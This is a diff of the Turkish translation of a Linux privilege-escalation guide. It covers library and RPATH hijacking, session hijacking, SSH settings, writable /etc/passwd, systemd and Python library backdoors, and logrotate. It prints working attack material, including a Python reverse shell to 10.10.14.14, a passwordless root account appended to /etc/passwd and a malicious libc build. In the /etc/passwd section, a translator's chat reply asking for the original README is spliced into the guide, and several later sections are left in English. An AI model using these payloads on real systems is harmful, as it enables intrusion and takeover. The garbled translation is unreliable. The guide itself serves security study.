`~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. Veya şöyle bir şey çalıştırmak: ```bash @@ -1092,12 +1090,12 @@ sudo ls ### ld.so -Dosya `/etc/ld.so.conf` **yüklenen yapılandırma dosyalarının nereden alındığını belirtir**. Genellikle bu dosya şu satırı içerir: `include /etc/ld.so.conf.d/*.conf` +Dosya `/etc/ld.so.conf` **yüklenen yapılandırma dosyalarının nereden geldiğini** gösterir. Genellikle bu dosya şu yolu içerir: `include /etc/ld.so.conf.d/*.conf` -Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin aranacağı** diğer klasörleri **işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` içeriği `/usr/local/lib`'tür. **Bu, sistemin kütüphaneleri `/usr/local/lib` içinde arayacağı anlamına gelir**. +Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları **başka klasörleri işaret eder**; **kütüphaneler** bu klasörlerde **aranacaktır**. Örneğin, `/etc/ld.so.conf.d/libc.conf` içeriği `/usr/local/lib`'tür. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir**. -Eğer herhangi bir nedenle **bir kullanıcının yazma izinleri** aşağıdaki yollardan herhangi birinde varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasının işaret ettiği herhangi bir klasörde, yetki yükseltmesi yapabilmesi mümkün olabilir.\ -Bu yapılandırma hatasının **nasıl istismar edileceğine** aşağıdaki sayfadan bakın: +Eğer herhangi bir nedenle belirtilen yollardan herhangi birinde **bir kullanıcının yazma izinleri** varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasında belirtilen herhangi bir klasör, o kullanıcı escalate privileges yapabilir.\ +Aşağıdaki sayfada **how to exploit this misconfiguration** konusuna bakın: {{#ref}} @@ -1115,7 +1113,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib'i `/var/tmp/flag15/` dizinine kopyalayarak, `RPATH` değişkeninde belirtildiği üzere program tarafından bu konumda kullanılacaktır. +lib'i `/var/tmp/flag15/` dizinine kopyaladığınızda, `RPATH` değişkeninde belirtildiği gibi program tarafından bu konumda kullanılacaktır. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1124,7 +1122,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Ardından `/var/tmp` içinde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun. +Ardından `/var/tmp` içinde şu komutla kötü amaçlı bir kütüphane oluşturun: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1139,8 +1137,8 @@ execve(file,argv,0); ``` ## Yetkiler -Linux capabilities, bir sürece mevcut root **ayrıcalıklarının bir alt kümesini sağlar**. Bu, root ayrıcalıklarını etkili bir şekilde **daha küçük ve ayırt edici birimlere böler**. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu sayede tam ayrıcalık seti azaltılır ve exploitation riskleri düşer.\ -Aşağıdaki sayfayı okuyarak **capabilities hakkında ve bunların nasıl kötüye kullanılabileceği hakkında daha fazla bilgi edinin**: +Linux yetkileri bir sürece verilebilen root ayrıcalıklarının **bir alt kümesini** sağlar. Bu, root ayrıcalıklarını **daha küçük ve ayırt edici birimlere** böler. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Böylece tüm ayrıcalık seti azaltılır, istismar riskleri düşer.\ +Yetkiler ve bunların nasıl kötüye kullanılabileceği hakkında **daha fazla bilgi edinmek için** aşağıdaki sayfayı okuyun: {{#ref}} @@ -1149,47 +1147,47 @@ linux-capabilities.md ## Dizin izinleri -Bir dizinde, **"execute" biti** etkilenen kullanıcının "**cd**" ile klasöre girebileceği anlamına gelir.\ -**"read"** biti kullanıcının **dosyaları** **listeleyebileceğini**, ve **"write"** biti kullanıcının yeni **dosyaları** **silip** ve **oluşturabileceğini** ifade eder. +Bir dizinde, **"execute" biti** ilgili kullanıcının "**cd**" ile klasöre girebileceğini ifade eder.\ +**"read"** biti kullanıcının **dosyaları** **listeleyebilmesini** sağlar; **"write"** biti ise kullanıcının **dosyaları** **silmesine** ve **yeni dosyalar oluşturmasına** izin verir. ## ACLs -Erişim Kontrol Listeleri (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilecek** yetenektedir. Bu izinler, sahip olmayan veya grubun bir parçası olmayan belirli kullanıcılara hak tanıyarak veya reddederek dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu düzeydeki **granülerlik daha hassas erişim yönetimini sağlar**. Daha fazla ayrıntı için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresine bakın. +Erişim Kontrol Listeleri (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilir**. Bu izinler, sahip olmayan veya grubun bir üyesi olmayan belirli kullanıcılara haklar verip reddederek dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu düzeydeki **ince ayrıntılar daha hassas erişim yönetimi sağlar**. Daha fazla detay [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresinde bulunabilir. -**Verin** kullanıcı "kali"ya bir dosya üzerinde okuma ve yazma izinleri: +**Verin** kullanıcı "kali"'ye bir dosya üzerinde okuma ve yazma izinleri: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Sistemde belirli ACLs içeren dosyaları alın:** +**Al** sistemden belirli ACLs ile olan dosyaları: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Açık shell oturumları -**eski sürümlerde** başka bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ -**en yeni sürümlerde** yalnızca **kendi kullanıcı hesabınızın** **screen** oturumlarına **connect** edebileceksiniz. Ancak **session içinde ilginç bilgiler** bulabilirsiniz. +**eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ +**en yeni sürümlerde** yalnızca **your own user**'a ait screen sessions'e **connect** olabilirsiniz. Ancak, **oturumun içinde ilginç bilgiler** bulabilirsiniz. ### screen sessions hijacking -**List screen sessions** +**screen sessions'i listele** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Session'a bağlan** +**Oturuma bağlan** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux oturumlarının ele geçirilmesi +## tmux sessions hijacking -Bu, **old tmux versions** ile ilgili bir sorundu. Root tarafından oluşturulan tmux (v2.1) oturumunu ayrıcalıksız bir kullanıcı olarak ele geçiremedim. +Bu, eski tmux sürümleriyle ilgili bir sorundu. Yetkisiz bir kullanıcı olarak root tarafından oluşturulan tmux (v2.1) oturumunu ele geçiremedim. **tmux oturumlarını listele** ```bash @@ -1209,53 +1207,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Örnek için **Valentine box from HTB**'e bakın. +Örnek için **Valentine box from HTB**'a bakın. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006 Eylül ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir. -Bu hata, söz konusu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları şurada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.\ +Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları şurada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Password authentication'ın izin verilip verilmediğini belirtir. Varsayılan `no`. -- **PubkeyAuthentication:** Public key authentication'ın izin verilip verilmediğini belirtir. Varsayılan `yes`. -- **PermitEmptyPasswords**: Password authentication izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`. +- **PasswordAuthentication:** Parola doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `no`. +- **PubkeyAuthentication:** Public key doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `yes`. +- **PermitEmptyPasswords**: Parola doğrulaması izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`. ### PermitRootLogin -Root'un ssh ile giriş yapıp yapamayacağını belirtir, varsayılan `no`. Olası değerler: +root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`. Olası değerler: -- `yes`: root parola ve private key kullanarak giriş yapabilir -- `without-password` or `prohibit-password`: root yalnızca private key ile giriş yapabilir -- `forced-commands-only`: root sadece private key ile ve komut seçenekleri belirtilmişse giriş yapabilir -- `no`: girişe izin vermez +- `yes`: root parola ve private key ile giriş yapabilir +- `without-password` or `prohibit-password`: root sadece private key ile giriş yapabilir +- `forced-commands-only`: Root sadece private key kullanarak ve komut seçenekleri belirtilmişse giriş yapabilir +- `no` : hayır ### AuthorizedKeysFile -Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bunlar home dizini ile değiştirilecektir. **Mutlak yollar ( `/` ile başlayan) belirtebilirsiniz** veya **kullanıcının home dizininden göreli yollar**. For example: +Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bu tokenlar home dizini ile değiştirilecektir. **Mutlak yollar** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar** belirtebilirsiniz. Örneğin: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Bu yapılandırma, eğer "**testusername**" kullanıcısının **private** key'i ile giriş yapmaya çalışırsanız ssh'in sizin anahtarınızın public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindeki anahtarlarla karşılaştıracağını belirtir. +Bu yapılandırma, kullanıcı "**testusername**"ın **private** anahtarıyla giriş yapmaya çalışırsanız, ssh'nin anahtarınızın public anahtarını `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access`'te bulunanlarla karşılaştıracağını belirtir. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding, sunucunuzda (without passphrases!) key bırakmak yerine **use your local SSH keys instead of leaving keys** yapmanızı sağlar. Böylece ssh ile bir **host**'a **jump** yapabilir ve oradan başka bir **host**'a **jump to another** yaparken **using** the **key** located in your **initial host** kullanabilirsiniz. +SSH agent forwarding, **yerel SSH anahtarlarınızı sunucunuzda bırakmak yerine kullanmanıza** olanak tanır (parolasız!). Böylece ssh ile **bir hosta** atlayıp oradan **ilk hostunuzda bulunan anahtarı kullanarak** **başka bir hosta** bağlanabilirsiniz. Bu seçeneği `$HOME/.ssh.config` içinde şu şekilde ayarlamanız gerekir: ``` Host example.com ForwardAgent yes ``` -Dikkat: `Host` `*` ise, kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecektir (bu bir güvenlik sorunudur). +Dikkat: eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecek (bu bir güvenlik sorunudur). -Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya reddedebilir.\ -Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesiyle ssh-agent forwarding'e **izin verebilir** veya **engelleyebilir** (varsayılan: izin verilir). +Dosya `/etc/ssh_config` bu **options**'ı **override** edebilir ve bu yapılandırmaya izin verebilir veya engelleyebilir.\ +Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtarı ile `ssh-agent` forwarding'e izin verebilir veya engelleyebilir (varsayılan olarak izinlidir). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Eğer bir ortamda Forward Agent yapılandırıldığını görürseniz aşağıdaki sayfayı okuyun; çünkü **bunu kötüye kullanarak ayrıcalıkları yükseltebilirsiniz**: {{#ref}} @@ -1266,69 +1264,79 @@ ssh-forward-agent-exploitation.md ### Profil dosyaları -Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell açtığında **çalıştırılan betiklerdir**. Bu nedenle, bunlardan herhangi birini **yazabiliyor veya değiştirebiliyorsanız ayrıcalıkları yükseltebilirsiniz**. +Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell çalıştırdığında yürütülen **betiklerdir**. Bu nedenle, eğer bunlardan herhangi birine **yazabiliyor veya onları değiştirebiliyorsanız ayrıcalıkları yükseltebilirsiniz**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Eğer garip bir profil betiği bulunursa, **hassas detaylar** için kontrol etmelisiniz. +Eğer şüpheli bir profile betiği bulunursa, **hassas bilgiler** için kontrol etmelisiniz. -### Passwd/Shadow Files +### Passwd/Shadow Dosyaları -İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği bulunabilir. Bu nedenle **bunların hepsini bulun** ve **okuyup okuyamayacağınızı kontrol edin**, dosyaların içinde **hashes** olup olmadığını görmek için: +İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği bulunabilir. Bu nedenle **hepsini bulun** ve **okuyup okuyamadıklarını kontrol edin**; dosyaların içinde **hashes** olup olmadığını görmek için: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazı durumlarda `/etc/passwd` (veya eşdeğer bir dosya) içinde **password hashes** bulunabilir. +Bazı durumlarda **password hashes** `/etc/passwd` (veya eşdeğeri) dosyasında bulunabilir. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Yazılabilir /etc/passwd -Önce, aşağıdaki komutlardan biriyle bir parola oluşturun. +İlk olarak, aşağıdaki komutlardan biriyle bir parola oluşturun. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Sonra `hacker` kullanıcısını ekleyin ve oluşturulan parolayı ekleyin. +Orijinal README.md içeriğini gönderir misiniz? İçeriği aldıktan sonra onu Türkçeye çevirip aynı markdown/html etiketlerini koruyarak döndürebilirim ve ayrıca dosyaya kullanıcı `hacker` ve üretilmiş şifreyi ekleyebilirim. + +Şu anda hemen bir güçlü şifre üretmemi ve dosyaya eklememi ister misiniz? Eğer evet ise, üretilecek şifreyi doğrudan dosyaya mı yazayım yoksa sadece oluşturma komutlarını (ör. kullanıcı oluşturma için) mı ekleyeyim? + +Hızlı referans (istemiş olursanız bunları çeviriye veya README'ye eklerim): +- Güçlü şifre üretmek için örnek komut: openssl rand -base64 12 +- Kullanıcı eklemek için örnek komutlar: + - sudo useradd -m -s /bin/bash hacker + - echo 'hacker:GENERATED_PASSWORD' | sudo chpasswd + +Nasıl ilerlememi istersiniz? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Örnek: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz +Artık `hacker:hacker` ile `su` komutunu kullanabilirsiniz. -Alternatif olarak, parola olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ -UYARI: bu, makinenin mevcut güvenliğini zayıflatabilir. +Alternatif olarak, parolasız bir sahte kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ +UYARI: bu işlem makinenin mevcut güvenliğini düşürebilir. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOT: BSD platformlarında `/etc/passwd` dosyası `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. +NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur, ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. -Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz? +Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin bazı **servis yapılandırma dosyalarına** yazabilir misiniz? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Örneğin, eğer makine bir **tomcat** sunucusu çalıştırıyorsa ve **Tomcat servis yapılandırma dosyasını /etc/systemd/ içinde değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: +Örneğin, eğer makine bir **tomcat** sunucusu çalıştırıyorsa ve **/etc/systemd/ içinde Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor will be executed the next time that tomcat is started. +Backdoor'unuz tomcat bir sonraki başlatıldığında çalıştırılacak. -### Klasörleri Kontrol Edin +### Klasörleri Kontrol Et -Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama deneyin) +Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama yine de deneyin) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Garip Konum/Owned dosyalar +### Garip Konum/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1361,7 +1369,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH içindeki Script/Binaries** +### **PATH'teki Script/Binaries** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1377,20 +1385,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Parolalar içerebilen bilinen dosyalar +### Passwords içeren bilinen dosyalar -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin; **parolalar içerebilecek birkaç olası dosyayı** arar.\ -**Kullanabileceğiniz başka ilginç bir araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bilgisayarda depolanan birçok parolayı geri almakta kullanılan açık kaynaklı bir uygulama. +Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **passwords içerebilecek birkaç olası dosya**.\ +**Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. -### Günlükler +### Loglar -Eğer günlükleri okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Günlük ne kadar garipse, muhtemelen o kadar ilginç olur.\ -Ayrıca, bazı **"bad"** yapılandırılmış (backdoored?) **audit logs** size, bu yazıda açıklandığı gibi, **audit logs** içine **parolaları kaydetme** imkanı verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +If you can read logs, you may be able to find **ilginç/gizli bilgiler içinde**. The more strange the log is, the more interesting it will be (probably).\ +Ayrıca, bazı "**kötü**" yapılandırılmış (backdoored?) **audit logs** size audit logs içinde **passwords kaydetmenize** izin verebilir, bu yazıda açıklandığı gibi: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/) ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Günlükleri okumak için [**adm**](interesting-groups-linux-pe/index.html#adm-group) grubu gerçekten çok yardımcı olacaktır. +Logları **okumak için grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) gerçekten yardımcı olacaktır. ### Shell dosyaları ```bash @@ -1405,59 +1413,59 @@ Günlükleri okumak için [**adm**](interesting-groups-linux-pe/index.html#adm-g ``` ### Generic Creds Search/Regex -Ayrıca dosyanın **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmelisiniz, ve loglar içindeki IPs ve emails ile hashes regexps'leri de kontrol edin.\ -Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz. +Dosya adında veya içeriğinde "**password**" kelimesi geçen dosyaları kontrol etmelisiniz; ayrıca loglarda IP'leri, e-postaları veya hash'ler için regex'leri de kontrol edin.\ +Burada tüm bunların nasıl yapılacağını anlatmayacağım ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz. ## Writable files ### Python library hijacking -Eğer bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabilirsiniz** ya da **python kütüphanelerini değiştirebilirsiniz**, OS library'yi değiştirip backdoor itebilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). +Eğer bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazma izniniz** varsa veya python kütüphanelerini **değiştirebiliyorsanız**, OS kütüphanesini değiştirip backdoorlayabilirsiniz (eğer python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Kütüphaneyi **backdoor** etmek için os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate istismarı +### Logrotate exploitation -`logrotate`'teki bir zafiyet, bir log dosyası veya üst dizinlerinde **yazma izni** (write permissions) olan kullanıcıların ayrıcalık yükseltmesi elde etmesine olanak tanır. Çünkü `logrotate`, genellikle **root** olarak çalışan, keyfi dosyaları çalıştıracak şekilde manipüle edilebilir; özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde. İzinleri sadece _/var/log_ içinde değil, log rotasyonunun uygulandığı herhangi bir dizinde de kontrol etmek önemlidir. +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> Bu zafiyet `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler +> This vulnerability affects `logrotate` version `3.18.0` and older -Zafiyetle ilgili daha ayrıntılı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz. +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -Bu zafiyet [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** ile çok benzerdir; bu yüzden logları değiştirebildiğinizi her gördüğünüzde, bu logları kimin yönettiğini kontrol edin ve logları symlink ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Her ne sebeple olursa olsun, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` scripti **yazabiliyor** veya mevcut bir scripti **ayarlayabiliyorsa**, sisteminiz **system is pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scriptleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından ~sourced~ edilirler. +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -Benim durumda, bu network scriptlerindeki `NAME=` ataması doğru şekilde işlenmiyor. Eğer isimde **boşluk** (white/blank space) varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor. Bu da demektir ki, **ilk boşluktan sonraki her şey root olarak çalıştırılıyor**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Not: Network ile /bin/id arasındaki boşluğu unutmayın_) +(_Network ile /bin/id_ arasında boşluk olduğunu unutmayın_) -### **init, init.d, systemd ve rc.d** +### **init, init.d, systemd, ve rc.d** -Dizin `/etc/init.d`, System V init (SysVinit) için **script'lerin** bulunduğu yerdir; **klasik Linux servis yönetim sistemi** olarak hizmet eder. Servisleri `start`, `stop`, `restart` ve bazen `reload` için scriptler içerir. Bu scriptler doğrudan veya `/etc/rc?.d/` içindeki sembolik linkler 